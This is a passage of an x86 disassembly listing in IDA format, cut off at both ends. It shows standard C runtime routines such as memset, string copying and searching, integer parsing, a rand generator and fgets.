2890000h nop test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 nop call near ptr 27D0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 2720517h push eax nop call near ptr 2710BD7h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short 